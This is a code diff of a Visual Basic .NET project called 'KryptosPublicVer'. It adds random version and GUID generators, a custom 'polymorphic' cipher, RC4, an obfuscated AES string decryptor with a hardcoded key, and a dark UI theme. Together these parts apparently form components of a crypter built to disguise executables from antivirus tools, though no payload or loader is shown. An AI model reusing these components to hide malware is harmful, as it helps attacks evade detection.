Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.KryptosPublicVer.My.MySettings
|
||||
Get
|
||||
Return Global.KryptosPublicVer.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,128 @@
|
||||
Public Class MyRandom
|
||||
|
||||
#Region "GenerateRandomString()"
|
||||
Public Shared Function GenerateRandomString(ByVal Uppers As Boolean, ByVal Lowers As Boolean, ByVal Numbers As Boolean, ByVal Specials As Boolean, ByVal Length As Integer) As String
|
||||
Const STR_UPPERS As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
Const STR_LOWERS As String = "abcdefghijklmnopqrstuvwxyz"
|
||||
Const STR_NUMBERS As String = "0123456789"
|
||||
Const STR_SPECIALS As String = "~`!@#$%^&*()_+=-{[}]|;:'<,>.?"
|
||||
|
||||
Dim Characters As String = Nothing
|
||||
Dim RandomString As String = Nothing
|
||||
|
||||
|
||||
If Uppers = True Then
|
||||
Characters &= STR_UPPERS
|
||||
End If
|
||||
|
||||
If Lowers = True Then
|
||||
Characters &= STR_LOWERS
|
||||
End If
|
||||
|
||||
If Numbers = True Then
|
||||
Characters &= STR_NUMBERS
|
||||
End If
|
||||
|
||||
If Specials = True Then
|
||||
Characters &= STR_SPECIALS
|
||||
End If
|
||||
|
||||
|
||||
Randomize()
|
||||
|
||||
For i As Integer = 0 To Length - 1
|
||||
RandomString &= Mid(Characters, Len(Characters) * Rnd() + 1, 1)
|
||||
Next
|
||||
|
||||
|
||||
|
||||
Return RandomString
|
||||
End Function
|
||||
#End Region
|
||||
|
||||
#Region "GenerateRandomNumber()"
|
||||
Public Shared Function GenerateRandomNumber(ByVal Max As Integer, Optional ByVal Min As Integer = 0, Optional ByVal Seed As Integer = 0) As Integer
|
||||
Dim myRandom As Random
|
||||
|
||||
If Seed <> Nothing Then
|
||||
myRandom = New Random(Seed)
|
||||
Else
|
||||
myRandom = New Random(Now.Millisecond)
|
||||
End If
|
||||
|
||||
|
||||
If Min > Max Then
|
||||
Dim newMin As Integer = Min
|
||||
|
||||
Min = Max
|
||||
Max = newMin
|
||||
End If
|
||||
|
||||
|
||||
|
||||
Return myRandom.Next(Min, Max)
|
||||
End Function
|
||||
#End Region
|
||||
|
||||
#Region "GenerateRandomVersion()"
|
||||
Public Shared Function GenerateRandomVersion() As String
|
||||
Dim First As String = GenerateRandomNumber(9).ToString()
|
||||
|
||||
Randomize()
|
||||
Dim Second As String = GenerateRandomNumber(9, 0, First * CInt(Rnd())).ToString()
|
||||
|
||||
Randomize()
|
||||
Dim Third As String = GenerateRandomNumber(9, 0, Second * CInt(Rnd())).ToString()
|
||||
|
||||
Randomize()
|
||||
Dim Fourth As String = GenerateRandomNumber(9, 0, Third * CInt(Rnd())).ToString()
|
||||
|
||||
|
||||
Return First & "." & Second & "." & Third & "." & Fourth
|
||||
End Function
|
||||
#End Region
|
||||
|
||||
#Region "GenerateRandomActiveX()"
|
||||
Public Shared Function GenerateRandomActiveX() As String
|
||||
FirstStep: Dim First As String = GenerateRandomString(True, True, True, False, 8)
|
||||
|
||||
If First.Length <> 8 Then
|
||||
GoTo FirstStep
|
||||
End If
|
||||
|
||||
|
||||
SecondStep: Dim Second As String = GenerateRandomString(True, True, True, False, 4)
|
||||
|
||||
If Second.Length <> 4 Then
|
||||
GoTo SecondStep
|
||||
End If
|
||||
|
||||
|
||||
ThirdStep: Dim Third As String = GenerateRandomString(True, True, True, False, 4)
|
||||
|
||||
If Third.Length <> 4 Then
|
||||
GoTo ThirdStep
|
||||
End If
|
||||
|
||||
|
||||
FourthStep: Dim Fourth As String = GenerateRandomString(True, True, True, False, 4)
|
||||
|
||||
If Fourth.Length <> 4 Then
|
||||
GoTo FourthStep
|
||||
End If
|
||||
|
||||
|
||||
FifthStep: Dim Fifth As String = GenerateRandomString(True, True, True, False, 12)
|
||||
|
||||
If Fifth.Length <> 12 Then
|
||||
GoTo FifthStep
|
||||
End If
|
||||
|
||||
|
||||
|
||||
Return "{" & First & "-" & Second & "-" & Third & "-" & Fourth & "-" & Fifth & "}"
|
||||
End Function
|
||||
#End Region
|
||||
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,30 @@
|
||||
|
||||
Imports System.Text
|
||||
|
||||
Public Class PolyMorphicStairs
|
||||
Overloads Shared Function PolyCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
|
||||
Dim buff() As Byte = PolyCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
|
||||
PolyCrypt = Encoding.Default.GetString(buff)
|
||||
Erase buff
|
||||
End Function
|
||||
Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
|
||||
Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
|
||||
PolyDeCrypt = Encoding.Default.GetString(buff)
|
||||
Erase buff
|
||||
End Function
|
||||
Overloads Shared Function PolyCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte()
|
||||
Array.Resize(Data, Data.Length + 1)
|
||||
Data(Data.Length - 1) = Convert.ToByte(New Random().Next(1, 255))
|
||||
For i = (Data.Length - 1) * (ExtraRounds + 1) To 0 Step -1
|
||||
Data(i Mod Data.Length) = CByte(CInt((Data(i Mod Data.Length)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor Key(i Mod Key.Length)
|
||||
Next
|
||||
Return Data
|
||||
End Function
|
||||
Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte()
|
||||
For i = 0 To (Data.Length - 1) * (ExtraRounds + 1)
|
||||
Data(i Mod Data.Length) = CByte((CInt(Data(i Mod Data.Length) Xor Key(i Mod Key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256)
|
||||
Next
|
||||
Array.Resize(Data, Data.Length - 1)
|
||||
Return Data
|
||||
End Function
|
||||
End Class
|
||||
@@ -0,0 +1,58 @@
|
||||
Imports System.Text
|
||||
|
||||
Public Class RC4
|
||||
|
||||
|
||||
Public Class ARC4
|
||||
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
|
||||
Dim i As Integer = 0
|
||||
Dim j As Integer = 0
|
||||
Dim cipher As New StringBuilder
|
||||
Dim returnCipher As String = String.Empty
|
||||
Dim sbox As Integer() = New Integer(256) {}
|
||||
Dim key As Integer() = New Integer(256) {}
|
||||
Dim intLength As Integer = password.Length
|
||||
Dim a As Integer = 0
|
||||
While a <= 255
|
||||
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
|
||||
|
||||
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
|
||||
sbox(a) = a
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
Dim x As Integer = 0
|
||||
Dim b As Integer = 0
|
||||
While b <= 255
|
||||
x = (x + sbox(b) + key(b)) Mod 256
|
||||
Dim tempSwap As Integer = sbox(b)
|
||||
sbox(b) = sbox(x)
|
||||
sbox(x) = tempSwap
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
|
||||
End While
|
||||
|
||||
a = 1
|
||||
|
||||
While a <= message.Length
|
||||
Dim itmp As Integer = 0
|
||||
i = (i + 1) Mod 256
|
||||
j = (j + sbox(i)) Mod 256
|
||||
itmp = sbox(i)
|
||||
sbox(i) = sbox(j)
|
||||
sbox(j) = itmp
|
||||
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
|
||||
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
|
||||
itmp = Asc(ctmp)
|
||||
Dim cipherby As Integer = itmp Xor k
|
||||
cipher.Append(Chr(cipherby))
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
|
||||
returnCipher = cipher.ToString
|
||||
cipher.Length = 0
|
||||
|
||||
Return returnCipher
|
||||
|
||||
End Function
|
||||
End Class
|
||||
|
||||
End Class
|
||||
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 345 KiB |
@@ -0,0 +1,23 @@
|
||||
Imports System.Security.Cryptography
|
||||
|
||||
Public Class StarChased
|
||||
|
||||
Public Shared Function sBdoBEmaojEBLDWlfHjXmWp(ByVal EKVelYMHpMgTZotow As String)
|
||||
Dim buMZbvknqmoigkahD As New RijndaelManaged
|
||||
Dim HmQuUrKwvFKrDVBdP() As Byte
|
||||
Dim JQLNDOIoDvlSeCFSf() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
|
||||
Dim oKeyGenerator As New Rfc2898DeriveBytes("sBdoBEmaojEBLDWlfHjXmWp", JQLNDOIoDvlSeCFSf)
|
||||
buMZbvknqmoigkahD.Key = oKeyGenerator.GetBytes(buMZbvknqmoigkahD.Key.Length)
|
||||
buMZbvknqmoigkahD.IV = oKeyGenerator.GetBytes(buMZbvknqmoigkahD.IV.Length)
|
||||
Dim MsGeiiGgJoPqIgKHw As New IO.MemoryStream
|
||||
Dim PXBuREDZPhrQjNPuP As New CryptoStream(MsGeiiGgJoPqIgKHw, buMZbvknqmoigkahD.CreateDecryptor(), CryptoStreamMode.Write)
|
||||
Try
|
||||
HmQuUrKwvFKrDVBdP = Convert.FromBase64String(EKVelYMHpMgTZotow)
|
||||
PXBuREDZPhrQjNPuP.Write(HmQuUrKwvFKrDVBdP, 0, HmQuUrKwvFKrDVBdP.Length)
|
||||
PXBuREDZPhrQjNPuP.Close()
|
||||
Return System.Text.Encoding.UTF8.GetString(MsGeiiGgJoPqIgKHw.ToArray)
|
||||
Catch
|
||||
End Try
|
||||
End Function
|
||||
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,518 @@
|
||||
Imports System.Drawing, System.Drawing.Drawing2D
|
||||
'Theme
|
||||
Class CyberTheme
|
||||
Inherits Theme
|
||||
|
||||
Sub New()
|
||||
MoveHeight = 24
|
||||
BackColor = Color.FromArgb(34, 34, 34)
|
||||
|
||||
SetColor("Back", 25, 25, 25)
|
||||
SetColor("Gradient1", 35, 35, 35)
|
||||
SetColor("Gradient2", 20, 20, 20)
|
||||
SetColor("Border1", 34, 34, 34)
|
||||
SetColor("Border2", 49, 49, 49)
|
||||
SetColor("Border3", Color.Black)
|
||||
SetColor("Line1", Color.Black)
|
||||
SetColor("Line2", Color.Black)
|
||||
SetColor("Hatch1", Color.Black)
|
||||
SetColor("Hatch2", 34, 34, 34)
|
||||
SetColor("Shade1", 70, Color.Black)
|
||||
SetColor("Shade2", Color.Transparent)
|
||||
SetColor("Text", Color.LightBlue)
|
||||
End Sub
|
||||
|
||||
Private C1, C2, C3, C4, C5 As Color
|
||||
Private P1, P2, P3, P4, P5 As Pen
|
||||
Private B1 As HatchBrush
|
||||
Private B2 As SolidBrush
|
||||
|
||||
Protected Overrides Sub ColorHook()
|
||||
C1 = GetColor("Back")
|
||||
C2 = GetColor("Gradient1")
|
||||
C3 = GetColor("Gradient2")
|
||||
C4 = GetColor("Shade1")
|
||||
C5 = GetColor("Shade2")
|
||||
|
||||
P1 = New Pen(GetColor("Border1"))
|
||||
P2 = New Pen(GetColor("Line1"))
|
||||
P3 = New Pen(GetColor("Line2"))
|
||||
P4 = New Pen(GetColor("Border2"))
|
||||
P5 = New Pen(GetColor("Border3"))
|
||||
|
||||
B1 = New HatchBrush(HatchStyle.DarkUpwardDiagonal, GetColor("Hatch1"), GetColor("Hatch2"))
|
||||
B2 = New SolidBrush(GetColor("Text"))
|
||||
|
||||
BackColor = C1
|
||||
End Sub
|
||||
|
||||
Private RT1 As Rectangle
|
||||
|
||||
Protected Overrides Sub PaintHook()
|
||||
G.Clear(C1)
|
||||
|
||||
RT1 = New Rectangle(1, 1, Width - 2, 22)
|
||||
DrawGradient(C2, C3, RT1, 90.0F)
|
||||
DrawBorders(P1, RT1)
|
||||
|
||||
G.DrawLine(P2, 0, 23, Width, 23)
|
||||
|
||||
DrawBorders(P4, 1, 24, Width - 2, Height - 24)
|
||||
|
||||
DrawText(B2, HorizontalAlignment.Center, 5, 0)
|
||||
|
||||
DrawBorders(P5)
|
||||
End Sub
|
||||
|
||||
End Class
|
||||
|
||||
'Button
|
||||
Class CyberButton
|
||||
Inherits ThemeControl
|
||||
|
||||
Sub New()
|
||||
SetColor("BackColor", Color.FromArgb(40, 40, 40))
|
||||
SetColor("TextColor", Color.LightBlue)
|
||||
Size = New Size(100, 30)
|
||||
End Sub
|
||||
|
||||
|
||||
Dim C1, T1 As Color
|
||||
Protected Overrides Sub ColorHook()
|
||||
C1 = GetColor("BackColor")
|
||||
T1 = GetColor("TextColor")
|
||||
End Sub
|
||||
|
||||
|
||||
Protected Overrides Sub PaintHook()
|
||||
G.Clear(C1)
|
||||
Select Case State
|
||||
Case 0
|
||||
DrawGradient(Color.FromArgb(50, 50, 50), Color.FromArgb(42, 42, 42), ClientRectangle, 90S)
|
||||
Cursor = Cursors.Arrow
|
||||
Case 1
|
||||
DrawGradient(Color.FromArgb(42, 42, 42), Color.FromArgb(38, 38, 38), ClientRectangle, 90S)
|
||||
Cursor = Cursors.Arrow
|
||||
Case 2
|
||||
DrawGradient(Color.FromArgb(30, 30, 30), Color.FromArgb(20, 20, 20), ClientRectangle, 90S)
|
||||
Cursor = Cursors.Arrow
|
||||
End Select
|
||||
DrawBorders(New Pen(New SolidBrush(Color.FromArgb(20, 20, 20))), 1)
|
||||
DrawBorders(New Pen(New SolidBrush(Color.FromArgb(35, 35, 35))))
|
||||
DrawCorners(Color.FromArgb(35, 35, 35))
|
||||
DrawText(New SolidBrush(T1), HorizontalAlignment.Center, 0, 0)
|
||||
End Sub
|
||||
End Class
|
||||
|
||||
'Top Button
|
||||
Class CyberTopButton
|
||||
Inherits ThemeControl
|
||||
|
||||
Sub New()
|
||||
SetColor("BackColor", Color.FromArgb(40, 40, 40))
|
||||
SetColor("TextColor", Color.LightBlue)
|
||||
Size = New Size(35, 22)
|
||||
LockHeight = 22
|
||||
LockWidth = 35
|
||||
End Sub
|
||||
Dim C1, T1 As Color
|
||||
Protected Overrides Sub ColorHook()
|
||||
C1 = GetColor("BackColor")
|
||||
T1 = GetColor("TextColor")
|
||||
End Sub
|
||||
Protected Overrides Sub PaintHook()
|
||||
G.Clear(C1)
|
||||
Select Case State
|
||||
Case 0
|
||||
DrawGradient(Color.FromArgb(38, 38, 38), Color.FromArgb(30, 30, 30), ClientRectangle, 90S)
|
||||
Cursor = Cursors.Arrow
|
||||
Case 1
|
||||
DrawGradient(Color.FromArgb(50, 50, 50), Color.FromArgb(42, 42, 42), ClientRectangle, 90S)
|
||||
Cursor = Cursors.Hand
|
||||
Case 2
|
||||
DrawGradient(Color.FromArgb(42, 42, 42), Color.FromArgb(50, 50, 50), ClientRectangle, 90S)
|
||||
Cursor = Cursors.Hand
|
||||
End Select
|
||||
DrawBorders(New Pen(New SolidBrush(Color.FromArgb(65, 65, 65))), New Rectangle(1, 0, Width - 2, Height))
|
||||
DrawBorders(New Pen(New SolidBrush(Color.FromArgb(22, 22, 22))))
|
||||
G.DrawLine(New Pen(New SolidBrush(Color.FromArgb(22, 22, 22))), 2, Height - 1, Width - 3, Height - 1)
|
||||
G.DrawLine(New Pen(New SolidBrush(Color.FromArgb(65, 65, 65))), 0, 1, Width - 1, 1)
|
||||
G.DrawLine(New Pen(New SolidBrush(Color.Black)), 0, 0, Width, 0)
|
||||
DrawText(New SolidBrush(T1), HorizontalAlignment.Center, 0, 0)
|
||||
End Sub
|
||||
End Class
|
||||
|
||||
'CheckBox
|
||||
Class CyberCheckBox
|
||||
Inherits ThemeControl
|
||||
Private _CheckedState As Boolean
|
||||
Public Property CheckedState() As Boolean
|
||||
Get
|
||||
Return _CheckedState
|
||||
End Get
|
||||
Set(ByVal v As Boolean)
|
||||
_CheckedState = v
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Sub New()
|
||||
Size = New Size(118, 16)
|
||||
MinimumSize = New Size(16, 16)
|
||||
MaximumSize = New Size(600, 16)
|
||||
CheckedState = False
|
||||
SetColor("CheckBorderOut", Color.FromArgb(25, 25, 25))
|
||||
SetColor("CheckBorderIn", Color.FromArgb(59, 59, 59))
|
||||
SetColor("TextColor", Color.LightBlue)
|
||||
SetColor("CheckBack1", Color.FromArgb(132, 192, 240))
|
||||
SetColor("CheckBack2", Color.LightBlue)
|
||||
SetColor("CheckFore1", Color.LightBlue)
|
||||
SetColor("CheckFore2", Color.FromArgb(42, 242, 77))
|
||||
SetColor("ColorUncheck", Color.FromArgb(35, 35, 35))
|
||||
SetColor("BackColor", Color.FromArgb(25, 25, 25))
|
||||
End Sub
|
||||
Dim C1, C2, C3, C4, C5, C6, P1, P2, B1 As Color
|
||||
Protected Overrides Sub ColorHook()
|
||||
C1 = GetColor("CheckBack1")
|
||||
C2 = GetColor("CheckBack2")
|
||||
C3 = GetColor("CheckFore1")
|
||||
C4 = GetColor("CheckFore2")
|
||||
C5 = GetColor("ColorUncheck")
|
||||
C6 = GetColor("BackColor")
|
||||
P1 = GetColor("CheckBorderOut")
|
||||
P2 = GetColor("CheckBorderIn")
|
||||
B1 = GetColor("TextColor")
|
||||
End Sub
|
||||
Protected Overrides Sub PaintHook()
|
||||
G.Clear(C6)
|
||||
Select Case CheckedState
|
||||
Case True
|
||||
DrawGradient(C1, C2, 3, 3, 9, 9, 90S)
|
||||
DrawGradient(C3, C4, 4, 4, 7, 7, 90S)
|
||||
Case False
|
||||
DrawGradient(C5, C5, 0, 0, 15, 15, 90S)
|
||||
End Select
|
||||
G.DrawRectangle(New Pen(New SolidBrush(P1)), 0, 0, 14, 14)
|
||||
G.DrawRectangle(New Pen(New SolidBrush(P2)), 1, 1, 12, 12)
|
||||
DrawText(New SolidBrush(B1), 17, 0)
|
||||
DrawCorners(C6, New Rectangle(0, 0, 13, 13))
|
||||
End Sub
|
||||
Sub changeCheck() Handles Me.Click
|
||||
Select Case CheckedState
|
||||
Case True
|
||||
CheckedState = False
|
||||
Case False
|
||||
CheckedState = True
|
||||
End Select
|
||||
End Sub
|
||||
End Class
|
||||
|
||||
'ProgressBar
|
||||
Class CyberProgressBar
|
||||
Inherits Control
|
||||
|
||||
#Region " Properties "
|
||||
Private _Maximum As Double = 100
|
||||
Public Property Maximum() As Double
|
||||
Get
|
||||
Return _Maximum
|
||||
End Get
|
||||
Set(ByVal v As Double)
|
||||
_Maximum = v
|
||||
Progress = _Current / v * 100
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Private _Current As Double
|
||||
Public Property Current() As Double
|
||||
Get
|
||||
Return _Current
|
||||
End Get
|
||||
Set(ByVal v As Double)
|
||||
_Current = v
|
||||
Progress = v / _Maximum * 100
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Private _Progress As Integer
|
||||
Public Property Progress() As Double
|
||||
Get
|
||||
Return _Progress
|
||||
End Get
|
||||
Set(ByVal v As Double)
|
||||
If v < 0 Then v = 0 Else If v > 100 Then v = 100
|
||||
_Progress = Convert.ToInt32(v)
|
||||
_Current = v * 0.01 * _Maximum
|
||||
If Width > 0 Then UpdateProgress()
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Dim C2 As Color = Color.FromArgb(0, 192, 192) 'Dark Color
|
||||
Public Property Color1() As Color
|
||||
Get
|
||||
Return C2
|
||||
End Get
|
||||
Set(ByVal v As Color)
|
||||
C2 = v
|
||||
UpdateColors()
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Dim C3 As Color = Color.FromArgb(0, 238, 238) 'Light color
|
||||
Public Property Color2() As Color
|
||||
Get
|
||||
Return C3
|
||||
End Get
|
||||
Set(ByVal v As Color)
|
||||
C3 = v
|
||||
UpdateColors()
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
|
||||
#End Region
|
||||
|
||||
Protected Overrides Sub OnPaintBackground(ByVal pevent As PaintEventArgs)
|
||||
End Sub
|
||||
|
||||
Dim G As Graphics, B As Bitmap, R1, R2 As Rectangle, X As ColorBlend
|
||||
Dim C1 As Color, P1, P2, P3 As Pen, B1, B2 As LinearGradientBrush, B3 As SolidBrush
|
||||
Sub New()
|
||||
|
||||
C1 = Color.FromArgb(22, 22, 22) 'Background
|
||||
P1 = New Pen(Color.FromArgb(70, Color.White), 2)
|
||||
P2 = New Pen(C2)
|
||||
P3 = New Pen(Color.FromArgb(49, 49, 49)) 'Highlight
|
||||
B3 = New SolidBrush(Color.FromArgb(100, Color.White))
|
||||
X = New ColorBlend(4)
|
||||
X.Colors = {C2, C3, C3, C2}
|
||||
X.Positions = {0.0F, 0.1F, 0.9F, 1.0F}
|
||||
R2 = New Rectangle(2, 2, 2, 2)
|
||||
B2 = New LinearGradientBrush(R2, Nothing, Nothing, 180.0F)
|
||||
B2.InterpolationColors = X
|
||||
|
||||
End Sub
|
||||
|
||||
Sub UpdateColors()
|
||||
P2.Color = C2
|
||||
X.Colors = {C2, C3, C3, C2}
|
||||
B2.InterpolationColors = X
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnSizeChanged(ByVal e As System.EventArgs)
|
||||
R1 = New Rectangle(0, 1, Width, 4)
|
||||
B1 = New LinearGradientBrush(R1, Color.FromArgb(60, Color.Black), Color.Transparent, 90.0F)
|
||||
UpdateProgress()
|
||||
Invalidate()
|
||||
MyBase.OnSizeChanged(e)
|
||||
End Sub
|
||||
|
||||
Sub UpdateProgress()
|
||||
If _Progress = 0 Then Return
|
||||
R2 = New Rectangle(2, 2, Convert.ToInt32((Width - 4) * (_Progress * 0.01)), Height - 4)
|
||||
B2 = New LinearGradientBrush(R2, Nothing, Nothing, 180.0F)
|
||||
B2.InterpolationColors = X
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs)
|
||||
B = New Bitmap(Width, Height)
|
||||
G = Graphics.FromImage(B)
|
||||
|
||||
G.Clear(C1)
|
||||
|
||||
G.FillRectangle(B1, R1)
|
||||
|
||||
If _Progress > 0 Then
|
||||
G.FillRectangle(B2, R2)
|
||||
|
||||
G.FillRectangle(B3, 2, 3, R2.Width, 4)
|
||||
G.DrawRectangle(P1, 4, 4, R2.Width - 4, Height - 8)
|
||||
|
||||
G.DrawRectangle(P2, 2, 2, R2.Width - 1, Height - 5)
|
||||
End If
|
||||
|
||||
G.DrawRectangle(P3, 0, 0, Width - 1, Height - 1)
|
||||
|
||||
e.Graphics.DrawImage(B, 0, 0)
|
||||
G.Dispose()
|
||||
B.Dispose()
|
||||
End Sub
|
||||
End Class
|
||||
|
||||
'Label
|
||||
Class CyberLabel
|
||||
Inherits ThemeControl
|
||||
Sub New()
|
||||
Size = New Size(73, 16)
|
||||
MinimumSize = New Size(16, 16)
|
||||
MaximumSize = New Size(600, 16)
|
||||
SetColor("TextColor", Color.LightBlue)
|
||||
SetColor("BackColor", Color.FromArgb(25, 25, 25))
|
||||
End Sub
|
||||
Dim C6, B1 As Color
|
||||
Protected Overrides Sub ColorHook()
|
||||
C6 = GetColor("BackColor")
|
||||
B1 = GetColor("TextColor")
|
||||
End Sub
|
||||
Protected Overrides Sub PaintHook()
|
||||
G.Clear(C6)
|
||||
DrawText(New SolidBrush(B1), 0, 0)
|
||||
End Sub
|
||||
End Class
|
||||
|
||||
'TextBox
|
||||
Class CyberTextBox
|
||||
Inherits ThemeControl
|
||||
Dim WithEvents CyberTextBox As TextBox
|
||||
Public Sub New()
|
||||
CyberTextBox = New TextBox
|
||||
CyberTextBox.Parent = Me
|
||||
CyberTextBox.Size = New Size(New Point(10, 19))
|
||||
CyberTextBox.ForeColor = Color.LightBlue
|
||||
CyberTextBox.BackColor = Color.FromArgb(30, 30, 30)
|
||||
CyberTextBox.BorderStyle = BorderStyle.FixedSingle
|
||||
End Sub
|
||||
Protected Overrides Sub ColorHook()
|
||||
End Sub
|
||||
Protected Overrides Sub PaintHook()
|
||||
End Sub
|
||||
Public Property Multilined() As Boolean
|
||||
Get
|
||||
Return CyberTextBox.Multiline
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
CyberTextBox.Multiline = value
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Sub s() Handles Me.Invalidated
|
||||
If CyberTextBox.Multiline = False Then
|
||||
Me.MinimumSize = New Size(100, 20)
|
||||
Me.MaximumSize = New Size(1000, 20)
|
||||
Else
|
||||
Me.MinimumSize = New Size(100, 20)
|
||||
Me.MaximumSize = New Size(1000, 20)
|
||||
End If
|
||||
End Sub
|
||||
Private Sub res() Handles Me.SizeChanged
|
||||
CyberTextBox.Width = Width
|
||||
CyberTextBox.Height = Height
|
||||
End Sub
|
||||
Private Sub tt() Handles Me.TextChanged
|
||||
CyberTextBox.Text = Me.Text
|
||||
End Sub
|
||||
Private Sub ttt() Handles CyberTextBox.TextChanged
|
||||
Me.Text = CyberTextBox.Text
|
||||
End Sub
|
||||
End Class
|
||||
|
||||
'Seperator
|
||||
Class CyberSeparator
|
||||
Inherits Control
|
||||
|
||||
Private _Orientation As Orientation
|
||||
Public Property Orientation() As Orientation
|
||||
Get
|
||||
Return _Orientation
|
||||
End Get
|
||||
Set(ByVal v As Orientation)
|
||||
_Orientation = v
|
||||
UpdateOffset()
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Dim G As Graphics, B As Bitmap, I As Integer
|
||||
Dim C1 As Color, P1, P2 As Pen
|
||||
Sub New()
|
||||
SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint, True)
|
||||
C1 = Color.FromArgb(25, 25, 25)
|
||||
P1 = New Pen(Color.LightBlue)
|
||||
P2 = New Pen(Color.FromArgb(22, 22, 22))
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs)
|
||||
UpdateOffset()
|
||||
MyBase.OnSizeChanged(e)
|
||||
End Sub
|
||||
|
||||
Sub UpdateOffset()
|
||||
I = Convert.ToInt32(If(_Orientation = 0, Height / 2 - 1, Width / 2 - 1))
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs)
|
||||
B = New Bitmap(Width, Height)
|
||||
G = Graphics.FromImage(B)
|
||||
|
||||
G.Clear(C1)
|
||||
|
||||
If _Orientation = 0 Then
|
||||
G.DrawLine(P1, 0, I, Width, I)
|
||||
G.DrawLine(P2, 0, I + 1, Width, I + 1)
|
||||
Else
|
||||
G.DrawLine(P2, I, 0, I, Height)
|
||||
G.DrawLine(P1, I + 1, 0, I + 1, Height)
|
||||
End If
|
||||
|
||||
e.Graphics.DrawImage(B, 0, 0)
|
||||
G.Dispose()
|
||||
B.Dispose()
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnPaintBackground(ByVal pevent As PaintEventArgs)
|
||||
End Sub
|
||||
|
||||
End Class
|
||||
|
||||
'GroupBox
|
||||
Class CyberGroupBox
|
||||
Inherits Theme
|
||||
Private C1 As Color
|
||||
Private C2, C3 As Color
|
||||
Private P1 As Pen
|
||||
Private B1 As Brush
|
||||
Private B2 As Brush
|
||||
Private B5 As Brush
|
||||
Private HB1 As Brush
|
||||
Sub New()
|
||||
ControlMode = True
|
||||
Size = New Size(205, 95)
|
||||
End Sub
|
||||
|
||||
Private _subtext As String
|
||||
Public Property TextSub() As String
|
||||
Get
|
||||
Return _subtext
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
_subtext = value
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Protected Overrides Sub ColorHook()
|
||||
C1 = Color.FromArgb(25, 25, 25)
|
||||
C2 = Color.FromArgb(25, 25, 25)
|
||||
C3 = Color.FromArgb(0, 0, 0)
|
||||
P1 = Pens.Black
|
||||
B1 = New SolidBrush(Color.FromArgb(60, Color.White))
|
||||
B2 = New SolidBrush(Color.White)
|
||||
B5 = New SolidBrush(Color.White)
|
||||
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub PaintHook()
|
||||
Dim hb1 As New Drawing2D.HatchBrush(Drawing2D.HatchStyle.Trellis, Color.FromArgb(15, 15, 15))
|
||||
Dim hb2 As New Drawing2D.HatchBrush(Drawing2D.HatchStyle.Trellis, Color.FromArgb(35, 35, 35))
|
||||
Dim hb3 As New Drawing2D.HatchBrush(Drawing2D.HatchStyle.Trellis, Color.FromArgb(0, 0, 0))
|
||||
G.Clear(C1)
|
||||
G.FillRectangle(New SolidBrush(Color.Transparent), 0, 0, Width, Height)
|
||||
G.FillRectangle(New SolidBrush(Color.Transparent), 0, 0, Width, 15)
|
||||
